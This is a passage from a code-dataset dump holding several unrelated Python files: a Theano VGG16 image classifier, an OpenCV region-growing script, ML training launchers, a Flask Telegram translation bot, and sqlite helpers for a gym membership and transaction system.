self.b]\r\n\r\ndef dropout_from_layer(layer, p, seed=35):\r\n \"\"\"\r\n p is the probablity of dropping a unit\r\n\r\n Parameters\r\n\t----------\r\n\t:type rng: numpy.random.RandomState\r\n\t:param rng: a random number generator used to initialize weights\r\n\r\n\t:type layer: \r\n\t:param layer: Input layer to perform dropout\r\n\r\n\t:type p: float32\r\n\t:param p: Probablity of dropping a unit\r\n\r\n\tReturns\r\n\t-------\r\n\r\n\tReferences\r\n\t----------\r\n\t.. [1] https://www.cs.toronto.edu/~hinton/absps/JMLRdropout.pdf\r\n \"\"\"\r\n\r\n srng = T.shared_randomstreams.RandomStreams(seed=seed)\r\n mask = srng.binomial(n=1, p=1-p, size=layer.shape)\r\n output = layer * T.cast(mask, theano.config.floatX)\r\n\r\n return output\r\n\r\nclass Dropout(FC):\r\n\tdef __init__(self, input, n_in, n_out, W=None, b=None, seed=35,\r\n\t\t\t\t activation_fn=None, dropout_rate=0.5): \r\n\r\n\t\tsuper().__init__(input=input, n_in=n_in, n_out=n_out, W=W, b=b, \r\n\t\t\t\t\t\t seed=seed, activation_fn=activation_fn)\r\n\r\n\t\tself.output = dropout_from_layer(self.output, p=dropout_rate, seed=seed)\r\n\t\t\r\n########################################################################\r\n# Model\r\nprint('---Building VGG16---')\r\n\r\nX = T.tensor4(name='X', dtype=theano.config.floatX) \r\n# Y = T.imatrix(name='Y')\r\ny = T.ivector(name='y')\r\nlr = T.scalar(name='learning_rate', dtype=theano.config.floatX)\r\n\r\nnkerns = [32, 32, 64, 64, 128, 128, 128, 256, 256, 256, 512, 512, 512]\r\nbatch_size = 32\r\nact_f = elu\r\n\r\nconv_layer1 = ConvLayer(input=X, \r\n\t\t\t\t\t\tfilter_shape=(nkerns[0], 3, 3, 3), \r\n\t\t\t\t\t\timage_shape=(batch_size, 3, 256, 256),\r\n\t\t\t\t\t\tpadding=(1, 1),\r\n\t\t\t\t\t\tactivation_fn=act_f)\r\nconv_layer2 = ConvLayer(input=conv_layer1.output, \r\n\t\t\t\t\t\tfilter_shape=(nkerns[1], nkerns[0], 3, 3), \r\n\t\t\t\t\t\timage_shape=(batch_size, nkerns[0], 256, 256),\r\n\t\t\t\t\t\tpadding=(1, 1),\r\n\t\t\t\t\t\tactivation_fn=None)\r\nbn_layer1 = BatchNormLayer(input=conv_layer2.output,\r\n\t\t\t\t\t\t shape=(batch_size, nkerns[0], 256, 256),\r\n\t\t\t\t\t\t activation_fn=None)\r\npool_layer1 = PoolingLayer(input=bn_layer1.output,\r\n\t\t\t\t\t\t activation_fn=act_f)\r\n\r\nconv_layer3 = ConvLayer(input=pool_layer1.output, \r\n\t\t\t\t\t\tfilter_shape=(nkerns[2], nkerns[1], 3, 3), \r\n\t\t\t\t\t\timage_shape=(batch_size, nkerns[1], 128, 128),\r\n\t\t\t\t\t\tpadding=(1, 1),\r\n\t\t\t\t\t\tactivation_fn=act_f)\r\nconv_layer4 = ConvLayer(input=conv_layer3.output, \r\n\t\t\t\t\t\tfilter_shape=(nkerns[3], nkerns[2], 3, 3), \r\n\t\t\t\t\t\timage_shape=(batch_size, nkerns[2], 128, 128),\r\n\t\t\t\t\t\tpadding=(1, 1),\r\n\t\t\t\t\t\tactivation_fn=None)\r\nbn_layer2 = BatchNormLayer(input=conv_layer4.output,\r\n\t\t\t\t\t\t shape=(batch_size, nkerns[2], 128, 128),\r\n\t\t\t\t\t\t activation_fn=None)\r\npool_layer2 = PoolingLayer(input=bn_layer2.output,\r\n\t\t\t\t\t\t activation_fn=act_f)\r\n\r\nconv_layer5 = ConvLayer(input=pool_layer2.output, \r\n\t\t\t\t\t\tfilter_shape=(nkerns[4], nkerns[3], 3, 3), \r\n\t\t\t\t\t\timage_shape=(batch_size, nkerns[3], 64, 64),\r\n\t\t\t\t\t\tpadding=(1, 1),\r\n\t\t\t\t\t\tactivation_fn=act_f)\r\nconv_layer6 = ConvLayer(input=conv_layer5.output, \r\n\t\t\t\t\t\tfilter_shape=(nkerns[5], nkerns[4], 3, 3), \r\n\t\t\t\t\t\timage_shape=(batch_size, nkerns[4], 64, 64),\r\n\t\t\t\t\t\tpadding=(1, 1),\r\n\t\t\t\t\t\tactivation_fn=act_f)\r\nconv_layer7 = ConvLayer(input=conv_layer6.output, \r\n\t\t\t\t\t\tfilter_shape=(nkerns[6], nkerns[5], 3, 3), \r\n\t\t\t\t\t\timage_shape=(batch_size, nkerns[5], 64, 64),\r\n\t\t\t\t\t\tpadding=(1, 1),\r\n\t\t\t\t\t\tactivation_fn=None)\r\nbn_layer3 = BatchNormLayer(input=conv_layer7.output,\r\n\t\t\t\t\t\t shape=(batch_size, nkerns[5], 64, 64),\r\n\t\t\t\t\t\t activation_fn=None)\r\npool_layer3 = PoolingLayer(input=bn_layer3.output,\r\n\t\t\t\t\t\t activation_fn=act_f)\r\n\r\nconv_layer8 = ConvLayer(input=pool_layer3.output, \r\n\t\t\t\t\t\tfilter_shape=(nkerns[7], nkerns[6], 3, 3), \r\n\t\t\t\t\t\timage_shape=(batch_size, nkerns[6], 32, 32),\r\n\t\t\t\t\t\tpadding=(1, 1),\r\n\t\t\t\t\t\tactivation_fn=act_f)\r\nconv_layer9 = ConvLayer(input=conv_layer8.output, \r\n\t\t\t\t\t\tfilter_shape=(nkerns[8], nkerns[7], 3, 3), \r\n\t\t\t\t\t\timage_shape=(batch_size, nkerns[7], 32, 32),\r\n\t\t\t\t\t\tpadding=(1, 1),\r\n\t\t\t\t\t\tactivation_fn=act_f)\r\nconv_layer10 = ConvLayer(input=conv_layer9.output, \r\n\t\t\t\t\t\tfilter_shape=(nkerns[9], nkerns[8], 3, 3), \r\n\t\t\t\t\t\timage_shape=(batch_size, nkerns[8], 32, 32),\r\n\t\t\t\t\t\tpadding=(1, 1),\r\n\t\t\t\t\t\tactivation_fn=None)\r\nbn_layer4 = BatchNormLayer(input=conv_layer10.output,\r\n\t\t\t\t\t\t shape=(batch_size, nkerns[8], 32, 32),\r\n\t\t\t\t\t\t activation_fn=None)\r\npool_layer4 = PoolingLayer(input=bn_layer4.output,\r\n\t\t\t\t\t\t activation_fn=act_f)\r\n\r\nconv_layer11 = ConvLayer(input=pool_layer4.output, \r\n\t\t\t\t\t\tfilter_shape=(nkerns[10], nkerns[9], 3, 3), \r\n\t\t\t\t\t\timage_shape=(batch_size, nkerns[9], 16, 16),\r\n\t\t\t\t\t\tpadding=(1, 1),\r\n\t\t\t\t\t\tactivation_fn=act_f)\r\nconv_layer12 = ConvLayer(input=conv_layer11.output, \r\n\t\t\t\t\t\tfilter_shape=(nkerns[11], nkerns[10], 3, 3), \r\n\t\t\t\t\t\timage_shape=(batch_size, nkerns[10], 16, 16),\r\n\t\t\t\t\t\tpadding=(1, 1),\r\n\t\t\t\t\t\tactivation_fn=act_f)\r\nconv_layer13 = ConvLayer(input=conv_layer12.output, \r\n\t\t\t\t\t\tfilter_shape=(nkerns[12], nkerns[11], 3, 3), \r\n\t\t\t\t\t\timage_shape=(batch_size, nkerns[11], 16, 16),\r\n\t\t\t\t\t\tpadding=(1, 1),\r\n\t\t\t\t\t\tactivation_fn=None)\r\nbn_layer5 = BatchNormLayer(input=conv_layer13.output,\r\n\t\t\t\t\t\t shape=(batch_size, nkerns[11], 16, 16),\r\n\t\t\t\t\t\t activation_fn=None)\r\npool_layer5 = PoolingLayer(input=bn_layer5.output,\r\n\t\t\t\t\t\t activation_fn=act_f)\r\n\r\nfc_layer_input = pool_layer5.output.flatten(2) \r\n\r\nfc_layer1 = FC(input=fc_layer_input,\r\n\t\t\t n_in=nkerns[-1] * 8 * 8,\r\n\t\t\t n_out=512,\r\n\t\t\t activation_fn=act_f)\r\ndropout_layer1 = Dropout(fc_layer1.output,\r\n\t\t\t\t\t\t n_in=512, \r\n\t\t\t\t\t\t n_out=512,\r\n\t\t\t\t\t\t activation_fn=None)\r\nfc_layer2 = FC(input=dropout_layer1.output,\r\n\t\t\t\tn_in=512,\r\n\t\t\t\tn_out=512,\r\n\t\t\t\tactivation_fn=act_f)\r\ndropout_layer2 = Dropout(fc_layer2.output,\r\n\t\t\t\t\t\t n_in=512, \r\n\t\t\t\t\t\t n_out=512,\r\n\t\t\t\t\t\t activation_fn=None)\r\nfc_layer3 = FC(input=dropout_layer2.output,\r\n\t\t\t\tn_in=512,\r\n\t\t\t\tn_out=1,\r\n\t\t\t\tactivation_fn=act_f)\r\n\r\n# For accuracy and predictive pruposes. It reestablishes the cells. \r\nfc_layer2_no_drop = FC(input=fc_layer1.output,\r\n\t\t\t\t\t n_in=512,\r\n\t\t\t\t\t n_out=512,\r\n\t\t\t\t\t W=fc_layer2.W,\r\n\t\t\t\t\t b=fc_layer2.b,\r\n\t\t\t\t\t activation_fn=act_f)\r\nfc_layer3_no_drop = FC(input=fc_layer2.output,\r\n\t\t\t\t\t n_in=512,\r\n\t\t\t\t\t n_out=1,\r\n\t\t\t\t\t W=fc_layer3.W,\r\n\t\t\t\t\t b=fc_layer3.b,\r\n\t\t\t\t\t activation_fn=act_f)\r\n\r\n# without batch normalization\r\nparams = fc_layer3.params + fc_layer2.params + fc_layer1.params \\\r\n\t + bn_layer5.params \\\r\n\t + conv_layer13.params + conv_layer12.params + conv_layer11.params \\\r\n\t + bn_layer4.params \\\r\n\t + conv_layer10.params + conv_layer9.params + conv_layer8.params \\\r\n\t + bn_layer4.params \\\r\n\t + conv_layer7.params + conv_layer6.params + conv_layer5.params \\\r\n\t + bn_layer2.params \\\r\n\t + conv_layer4.params + conv_layer3.params \\\r\n\t + bn_layer1.params \\\r\n\t + conv_layer2.params + conv_layer1.params\r\n\r\ncost_input = fc_layer3.output\r\ncost = T.mean(T.nnet.nnet.binary_crossentropy(cost_input.flatten(), y)) \\\r\n\t + l2_reg(params)\r\n\r\ngrads = T.grad(cost, params)\r\n\r\n# No dropout\r\ncost_input_no_drop = T.nnet.nnet.softmax(fc_layer3_no_drop.output)\r\n\r\ndef rmsprop(l_rate, d_rate=0.9, epsilon=1e-6, parameters=None, grads=None):\r\n\t\"\"\"\r\n\tMomentum update\r\n\r\n\tParameters\r\n\t----------\r\n\t:type lr: theano.tensor.scalar\r\n\t:param lr: Initial learning rate\r\n\t\r\n\t:type parameters: theano.shared\r\n\t:params parameters: Model parameters to update\r\n\r\n\t:type grads: Theano variable\r\n\t:params grads: Gradients of cost w.r.t to parameters\r\n\r\n\t:type momentum: float32\r\n\t:params momentum: \r\n\t\"\"\"\r\n\r\n\tone = T.constant(1.0)\r\n\r\n\tdef update_rule(param, cache, df):\r\n\t\tcache_val = d_rate * cache + (one-d_rate) * df**2\r\n\t\tx = l_rate * df / (T.sqrt(cache_val) + epsilon)\r\n\t\tupdates = (param, param-x), (cache, cache_val)\r\n\r\n\t\treturn updates\r\n\t\r\n\tcaches = [theano.shared(name='c_{}'.format(param),\r\n\t\t\t\t\t\t\tvalue=param.get_value() * 0., \r\n\t\t\t\t\t\t\tbroadcastable=param.broadcastable) \r\n\t\t\t for param in parameters]\r\n\r\n\tupdates = []\r\n\tfor p, c, g in zip(parameters, caches, grads):\r\n\t\tparam_updates, cache_updates = update_rule(p, c, g)\r\n\t\tupdates.append(param_updates)\r\n\t\tupdates.append(cache_updates)\r\n\r\n\treturn updates\r\n\r\ndef adam(l_rate, beta1=0.9, beta2=0.999, epsilon=1e-6, parameters=None, \r\n\t\t grads=None):\r\n\r\n\tone = T.constant(1.0)\r\n\tt = theano.shared(name='iteration', value=np.float32(1.0))\r\n\r\n\tdef update_rule(param, moment, velocity, df):\r\n\t\tm_t = beta1 * moment + (one-beta1) * df\r\n\t\tv_t = beta2 * velocity + (one-beta2) * df**2\r\n\t\tm_hat = m_t/(one-beta1**(t))\r\n\t\tv_hat = v_t/(one-beta2**(t))\r\n\t\tx = (l_rate * m_hat / (T.sqrt(v_hat) + epsilon))\r\n\t\tupdates = (param, param-x), (moment, m_t), (velocity, v_t)\r\n\r\n\t\treturn updates\r\n\t\r\n\tmoments = [theano.shared(name='m_{}'.format(param),\r\n\t\t\t\t\t\t\t value=param.get_value() * 0., \r\n\t\t\t\t\t\t\t broadcastable=param.broadcastable) \r\n\t\t\t for param in parameters]\r\n\r\n\tvelocities = [theano.shared(name='v_{}'.format(param),\r\n\t\t\t\t\t\t\t\tvalue=param.get_value() * 0., \r\n\t\t\t\t\t\t\t\tbroadcastable=param.broadcastable) \r\n\t\t\t\t for param in parameters]\r\n\r\n\tupdates = []\r\n\tfor p, m, v, g in zip(params, moments, velocities, grads):\r\n\t\tp_update, m_update, v_update = update_rule(p, m, v, g)\r\n\t\tupdates.append(p_update)\r\n\t\tupdates.append(m_update)\r\n\t\tupdates.append(v_update)\r\n\tupdates.append((t, t+1))\r\n\r\n\treturn updates\r\n\r\n# theano functions for training and validation \r\ntrain = theano.function(inputs=[X, y, lr], outputs=cost, \r\n\t\t\t\t\t\tupdates=adam(l_rate=lr, parameters=params, \r\n\t\t\t\t\t\t\t\t\t grads=grads),\r\n\t\t\t\t\t\tallow_input_downcast=True)\r\n\r\n# Validation results\r\npred = theano.function(inputs=[X, y], outputs=cost>0.5, \r\n\t\t\t\t\t allow_input_downcast=True)\r\naccu = theano.function(inputs=[X, y], outputs=T.mean(T.eq((cost>0.5), y)), \r\n\t\t\t\t\t allow_input_downcast=True)\r\n\r\nprint('Finished Building VGG16')\r\n\r\n########################################################################\r\n\r\ndef train_model(training_data, validation_data, test_data=None,\r\n\t\t\t\tlearning_rate=1e-3, epochs=75):\r\n\r\n\tprint('---Training Model---')\r\n\r\n\tdata_train = os.listdir(training_data)\r\n\tdata_val = os.listdir(validation_data)\r\n\r\n\ttotal_values, total_val_values = len(data_train), len(data_val) \r\n\tprint(total_values, total_val_values)\r\n\r\n\tfor epoch in range(epochs):\r\n\t\tprint('Currently on epoch {}'.format(epoch+1))\r\n\t\tnp.random.shuffle(data_train)\r\n\t\tnp.random.shuffle(data_val)\r\n\r\n\t\tmini_batches = [data_train[k: k+batch_size]\r\n\t\t\t\t\t\tfor k in range(0, total_values, batch_size)]\r\n\t\tvalidation_batches = [data_val[m: m+batch_size]\r\n\t\t\t\t\t\t\t for m in range(0, total_val_values, batch_size)]\r\n\r\n\t\ttraining_cost, accuracy = 0, 0\r\n\r\n\t\tfor mini_batch in mini_batches:\r\n\t\t\tdata = []\r\n\t\t\tresults = np.zeros((batch_size, 2))\r\n\r\n\t\t\tfor i, filename in enumerate(mini_batch):\r\n\t\t\t\ttemp_file = training_data + str(filename)\r\n\t\t\t\tim = Image.open(temp_file)\r\n\t\t\t\tdata.append(im.getdata())\r\n\r\n\t\t\t\tif \tfilename[0] == 'c':\r\n\t\t\t\t\tresults[i] = [1, 0]\r\n\t\t\t\telse:\r\n\t\t\t\t\tresults[i] = [0, 1]\r\n\r\n\t\t\tdata = np.asarray(data)\r\n\t\t\tdata = data.reshape(batch_size, 3, 256, 256)\r\n\r\n\t\t\ttraining_cost += train(data, results, learning_rate)\r\n\t\t\t\r\n\t\tnum = 0\r\n\t\tfor val_batch in validation_batches:\r\n\t\t\tval_data = []\r\n\t\t\tval_results = np.zeros(batch_size, dtype=np.int8)\r\n\r\n\t\t\tfor i, filename in enumerate(val_batch):\r\n\t\t\t\ttemp_file = validation_data + str(filename)\r\n\t\t\t\tim = Image.open(temp_file)\r\n\t\t\t\tval_data.append(im.getdata())\r\n\r\n\t\t\t\tif \tfilename[0] == 'c':\r\n\t\t\t\t\tval_results[i] = np.int8(1)\r\n\t\t\t\telse:\r\n\t\t\t\t\tval_results[i] = np.int(0)\r\n\r\n\t\t\tval_data = np.asarray(val_data)\r\n\t\t\tval_data = val_data.reshape(batch_size, 3, 256, 256)\r\n\r\n\t\t\taccuracy += accu(val_data, val_results)\r\n\t\t\tnum += 1\r\n\r\n\t\tprint('The accuracy is: {}'.format(accuracy/num))\r\n\t\tprint('The loss is: {}'.format(training_cost/total_values))\r\n\t\tprint('--------------------------')\r\n\r\n\tprint('Done')\r\n\r\nif __name__ == '__main__':\r\n# \tt_loc = '/home/ubuntu/cat_v_dog/train/'\r\n# \tv_loc = '/home/ubuntu/cat_v_dog/validation/'\r\n\r\n# \ttrain_model(t_loc, v_loc, learning_rate=1e-3, epochs=51)\r\n\tpass\r\n\t\r\n","sub_path":"Theano-VGG16/vgg16.py","file_name":"vgg16.py","file_ext":"py","file_size_in_byte":20325,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"381085453","text":"import cv2 as cv\nimport numpy as np\nfrom numba import njit\n\nseed = (0,0)\n\ndef mouse_click(event, x, y, flags, param):\n if event == cv.EVENT_LBUTTONDOWN:\n global seed\n seed = (y,x)\n\n@njit\ndef region_growing(img, seed):\n # crescimento de região no fucinho\n min_c = 10\n max_c = 70\n \n linhas, colunas = img.shape\n xc, yc = seed # semente\n img_seg = np.zeros_like(img) # matriz da região segmentada\n img_seg[xc,yc] = 255 # posiciona a semente na imagem\n\n # controle de crescimento\n px_atual = 0\n px_anterior = 1\n\n # loop até o final do crescimento da região\n while px_anterior != px_atual:\n px_anterior = px_atual\n px_atual = 0\n for linha in range(linhas):\n for coluna in range(colunas):\n if img_seg[linha, coluna] == 255:\n if min_c < img[linha-1, coluna-1] < max_c:\n img_seg[linha-1, coluna-1] = 255\n px_atual += 1\n if min_c < img[linha-1, coluna] < max_c:\n img_seg[linha-1, coluna] = 255\n px_atual += 1\n if min_c < img[linha-1, coluna+1] < max_c:\n img_seg[linha-1, coluna+1] = 255\n px_atual += 1\n if min_c < img[linha, coluna-1] < max_c:\n img_seg[linha, coluna-1] = 255\n px_atual += 1\n if min_c < img[linha, coluna+1] < max_c:\n img_seg[linha, coluna+1] = 255\n px_atual += 1\n if min_c < img[linha+1, coluna-1] < max_c:\n img_seg[linha+1, coluna-1] = 255\n px_atual += 1\n if min_c < img[linha+1, coluna] < max_c:\n img_seg[linha+1, coluna] = 255\n px_atual += 1\n if min_c < img[linha+1, coluna+1] < max_c:\n img_seg[linha+1, coluna+1] = 255\n px_atual += 1\n return img_seg\n\nif __name__ == '__main__':\n\n # ler imagem 320x240\n img = cv.imread('Imagens/original.jpg')\n\n # transforma para níveis de cinza\n img_grayscale = cv.cvtColor(img, cv.COLOR_BGR2GRAY)\n\n # Abre iamgem para seleção da semente e aguarda tecla para seguir\n cv.imshow('Imagem em tons de cinza', img_grayscale)\n cv.setMouseCallback('Imagem em tons de cinza', mouse_click)\n cv.waitKey(0)\n\n # Marca posição da semente na imagem cinza\n img_aux = img_grayscale.copy()\n img_aux[seed] = 255\n\n # Crescimento de regiões\n img_seg = region_growing(img_grayscale, seed)\n\n # mostra imagem original e resuldados\n cv.imshow('Imagem original', img)\n cv.imshow('Imagem com semente posicionada', img_aux)\n cv.imshow('Imagem Segmentada', img_seg)\n cv.waitKey(0)","sub_path":"ComputerVisionTrainneProgram/T023/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2882,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"312736917","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n\"\"\"\n File Name: test.py\n Author: Kerry\n Mail: yuyao90@gmail.com\n Created Time: 2016年10月27日 星期四 11时31分14秒\n Description:\n\"\"\"\nimport mlp\nimport numpy as np\n\ncl = mlp.MLPClassifier(hidden_layer_sizes=(2,), random_seed = 8, max_iteration=2)\nX = np.array([[1,1,1],[2,2,2],[3,3,3],[4,4,4]])\nY = np.array([1,2,3,3])\nZ = np.array([[0,1]])\ncl = cl.incremential_fit(X, Y,[1,2,3])\n#cl.incremential_fit(X,Z)\n#cl.fit(X, Y)\n","sub_path":"src/ann/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":474,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"349242160","text":"def number_converter(number):\n conversion = {\n 'B': 1000000000,\n 'M': 1000000,\n '%': 0.01\n }\n if(any(num.isalnum() for num in number)):\n number = number.replace(',', '')\n else:\n number = number.replace('-', '0') # value includes -\n\n if number[-1] is ')':\n number = '-' + number[1:-1] # value (0.2) to -0.2\n\n num_abb = number[-1] # B:Billion M:Million %:Percent \n if num_abb in [*conversion.keys()]:\n return float(number[:-1]) * conversion[num_abb]\n else:\n return number\n","sub_path":"dash_app/converter.py","file_name":"converter.py","file_ext":"py","file_size_in_byte":550,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"144248935","text":"from BASE_MODEL import BASE_RNN\n\n# default parameter\nFEATURE_SIZE = 16 # dataset input fields count\nMAX_DEN = 580000 # max input data demension\nEMB_DIM = 32\nBATCH_SIZE = 128\nMAX_SEQ_LEN = 330\nTRAING_STEPS = 10000000\nSTATE_SIZE = 128\nGRAD_CLIP = 5.0\nL2_NORM = 0.001\nADD_TIME = True\nALPHA = 1.2 # coefficient for cross entropy\nBETA = 0.2 # coefficient for anlp\ninput_file = \"2259\" # toy dataset\n\nprint(\"Please input learning rate. ex. 0.0001\")\n\nLR = float(input())\nLR_ANLP = LR\n\nRUNNING_MODEL = BASE_RNN(EMB_DIM=EMB_DIM,\n FEATURE_SIZE=FEATURE_SIZE,\n BATCH_SIZE=BATCH_SIZE,\n MAX_DEN=MAX_DEN,\n MAX_SEQ_LEN=MAX_SEQ_LEN,\n TRAING_STEPS=TRAING_STEPS,\n STATE_SIZE=STATE_SIZE,\n LR=LR,\n GRAD_CLIP=GRAD_CLIP,\n L2_NORM=L2_NORM,\n INPUT_FILE=input_file,\n ALPHA=ALPHA,\n BETA=BETA,\n ADD_TIME_FEATURE=ADD_TIME,\n FIND_PARAMETER=False,\n ANLP_LR=LR_ANLP,\n DNN_MODEL=False,\n ONLY_TRAIN_ANLP=True,\n LOG_PREFIX=\"rnn\")\nRUNNING_MODEL.create_graph()\nRUNNING_MODEL.run_model()\n","sub_path":"python/RNN.py","file_name":"RNN.py","file_ext":"py","file_size_in_byte":1386,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"334860802","text":"# ref: https://leetcode.com/problems/single-number\n\nclass Solution(object):\n def singleNumber(self, nums):\n \"\"\"\n :type nums: List[int]\n :rtype: int\n \"\"\"\n #toggle a bit with ^ 1\n \"\"\"\n attempt at bit method but did not work, will try again\n bitCheck=0\n count=-1\n tmp=0\n for num in nums:\n if num > 0:\n num -=1\n bitCheck ^= 1 << abs(num)\n \n for i in range (0,8):\n if bitCheck >> i & 1 == 1:\n count=i\n return nums[len(nums)- 1-count]\n \"\"\"\n x=set()\n for num in nums:\n if num in x:\n x.remove(num)\n else:\n x.add(num)\n return x.pop()","sub_path":"Week1/BitWise_SingleNumber.py","file_name":"BitWise_SingleNumber.py","file_ext":"py","file_size_in_byte":768,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"550319706","text":"import json\r\nimport requests\r\nimport urllib\r\n\r\nfrom flask import Flask, request, render_template\r\napp = Flask(__name__)\r\n\r\nTOKEN = 'TOKEN'\r\nBASE_URL = 'https://api.telegram.org/bot' + TOKEN + '/'\r\nAPI_KEY = 'API_KEY'\r\nTRANS_URL = 'https://translate.yandex.net/api/v1.5/tr.json/translate?key=' + API_KEY\r\n\r\n@app.route('/')\r\ndef main():\r\n\treturn \"Automatic Translation Bot\"\r\n\r\n'''\r\n@app.route('/me')\r\ndef me():\r\n\treturn requests.get(BASE_URL + 'getMe').content\r\n\r\n@app.route('/updates')\r\ndef updates():\r\n\treturn requests.get(BASE_URL + 'getUpdates').content\r\n\r\n@app.route('/set_webhook')\r\ndef set_webhook():\r\n\treturn requests.get(BASE_URL + 'setWebhook' + '?' + urllib.urlencode({'url': request.base_url.replace('http', 'https').replace('set_webhook', 'webhook')})).content\r\n'''\r\n\r\n@app.route('/webhook', methods=[\"POST\"])\r\ndef webhook():\r\n\tif request.method == \"POST\":\r\n\t\tbody = json.loads(request.stream.read())\r\n\t\tmessage = body.get('message')\r\n\t\tif message:\r\n\t\t\ttext = message.get('text')\r\n\t\t\tchat_id = message.get('chat').get('id')\r\n\t\t\tif text and not text.startswith('>'):\r\n\t\t\t\tif text == '/start':\r\n\t\t\t\t\tcommand(chat_id, 'Bot Started!')\r\n\t\t\t\telif text == '/help':\r\n\t\t\t\t\tcommand(chat_id, 'Inline Usage: @autotransbot \"from-to\" \"Text\"\\n Example: @autotransbot fr-en salut!\\nCommand Usage: /translate\\n\\nLanguage Code Examples:\\nEnglish: en\\nArabic: ar\\nFrench: fr\\nSpanish: es\\nItalian: it\\nGerman: de\\nRussian: ru\\nChinese: zh\\nJapanese: ja\\nKorean: ko')\r\n\t\t\t\telif text == '/translate':\r\n\t\t\t\t\tcommand(chat_id, 'Now send me a language pair \"from-to\" followed with your text. Example: fr-en salut!')\r\n\t\t\t\telse:\r\n\t\t\t\t\ttry:\r\n\t\t\t\t\t\ttmp = text.split()\r\n\t\t\t\t\t\tif len(tmp) > 1:\r\n\t\t\t\t\t\t\ttext = text.replace(tmp[0] + \" \", \"\")\r\n\t\t\t\t\t\t\tcommand(chat_id, '> ' + translate(tmp[0], text))\r\n\t\t\t\t\t\telse:\r\n\t\t\t\t\t\t\traise \"Error!\"\r\n\t\t\t\t\texcept:\r\n\t\t\t\t\t\tcommand(chat_id, \"Unknown syntax!, view /help\")\r\n\t\telse:\r\n\t\t\tinline_query = body.get('inline_query')\r\n\t\t\tif inline_query:\r\n\t\t\t\tquery = inline_query.get('query')\r\n\t\t\t\tquery_id = inline_query.get('id')\r\n\t\t\t\tif query:\r\n\t\t\t\t\ttry:\r\n\t\t\t\t\t\ttmp = query.split()\r\n\t\t\t\t\t\tif len(tmp) > 1:\r\n\t\t\t\t\t\t\tquery = query.replace(tmp[0] + \" \", \"\")\r\n\t\t\t\t\t\t\tinline(query_id, translate(tmp[0], query))\r\n\t\t\t\t\texcept:\r\n\t\t\t\t\t\tpass\r\n\t\treturn \"\"\r\n\r\ndef command(id=None, msg=None):\r\n\tif id and msg :\r\n\t\trequests.get(BASE_URL + 'sendMessage' + '?' + urllib.urlencode({\r\n\t\t\t'chat_id': str(id),\r\n\t\t\t'text': msg.encode('utf-8')\r\n\t\t}))\r\n\r\ndef inline(id=None, msg=None):\r\n\tif id and msg :\r\n\t\tres = [{\r\n\t\t\t\t\"type\" : \"article\",\r\n\t\t\t\t\"id\" : \"0\",\r\n\t\t\t\t\"title\" : \"Translation\",\r\n\t\t\t\t\"description\" : msg.encode('utf-8'),\r\n\t\t\t\t\"input_message_content\" :\r\n\t\t\t\t\t{\r\n\t\t\t\t\t\t\"message_text\" : msg.encode('utf-8'),\r\n\t\t\t\t\t}\r\n\t\t\t}]\r\n\t\trequests.get(BASE_URL + 'answerInlineQuery' + '?' + urllib.urlencode({\r\n\t\t\t'inline_query_id': str(id),\r\n\t\t\t'results': json.dumps(res)\r\n\t\t}))\r\n\r\ndef translate(lang=None, text=None):\r\n\tbody = json.loads(requests.get(TRANS_URL + '&lang=' + lang + '&text=' + text).content)\r\n\treturn body.get('text')[0]\r\n\r\nif __name__ == '__main__':\r\n app.run()","sub_path":"bot.py","file_name":"bot.py","file_ext":"py","file_size_in_byte":3060,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"419150210","text":"from dateutil.relativedelta import *\nimport difflib\nfrom datetime import datetime\nimport sqlite3\nfrom dateutil.relativedelta import *\n\nimport db_connection as connect\n\n############ Update memberships on start up ################\n\nconnect.SQL(\"UPDATE memberships set status = 'expired' where end_date < date('now') and date_paused IS NULL\")\nconnect.SQL(\"DELETE FROM punch_passes where end_date < date('now')\")\n\n############ Transactions #############\n\ndef create_transaction(row):\n connect.SQL(f\"INSERT INTO transactions VALUES {tuple(row)}\")\n\ndef modify_transaction(timestamp, amount):\n connect.SQL(\n f\"UPDATE transactions set amount = {amount} \"\n f\"WHERE transaction_timestamp = '{timestamp}'\")\n connect.SQL(\n f\"UPDATE kids_sessions set amount = {amount} \"\n f\"WHERE transaction_timestamp = '{timestamp}'\")\n connect.SQL(\n f\"UPDATE basket set amount = {amount} WHERE timestamp = '{timestamp}'\"\n )\n\ndef delete_transaction(timestamp):\n connect.SQL(\n \"DELETE FROM transactions \"\n f\"WHERE transaction_timestamp = '{timestamp}'\"\n )\n connect.SQL(\n f\"DELETE FROM basket WHERE timestamp = '{timestamp}'\"\n )\n\ndef insert_kids_transaction(row):\n connect.SQL(f\"INSERT INTO kids_sessions VALUES {tuple(row)}\")\n\ndef session_entry(name, amount):\n category = connect.SQL(\n f\"SELECT category from customers where name = '{name}'\"\n )[0][0]\n timestamp = datetime.strftime(datetime.now(), '%Y-%m-%d %H:%M:%S')\n connect.SQL(\n f\"INSERT into transactions values ('{timestamp}', '{name}', \"\n f\"'session', '{category}', {amount}) \"\n )\n\ndef membership_entry(name, amount):\n print(amount)\n category = connect.SQL(\n f\"SELECT category from customers where name = '{name}'\"\n )[0][0]\n timestamp = datetime.strftime(datetime.now(), '%Y-%m-%d %H:%M:%S')\n connect.SQL(\n f\"INSERT into transactions values ('{timestamp}', '{name}', \"\n f\"'membership', '{category}', {amount}) \"\n )\n\ndef punch_pass_entry(name):\n category = connect.SQL(\n f\"SELECT category from customers where name = '{name}'\"\n )[0][0]\n timestamp = datetime.strftime(datetime.now(), '%Y-%m-%d %H:%M:%S')\n connect.SQL(\n f\"INSERT into transactions values ('{timestamp}', '{name}', \"\n f\"'lite session', '{category}', 0 )\"\n )\n\ndef member_entry(name):\n category = connect.SQL(\n f\"SELECT category from customers where name = '{name}'\"\n )[0][0]\n timestamp = datetime.strftime(datetime.now(), '%Y-%m-%d %H:%M:%S')\n connect.SQL(\n 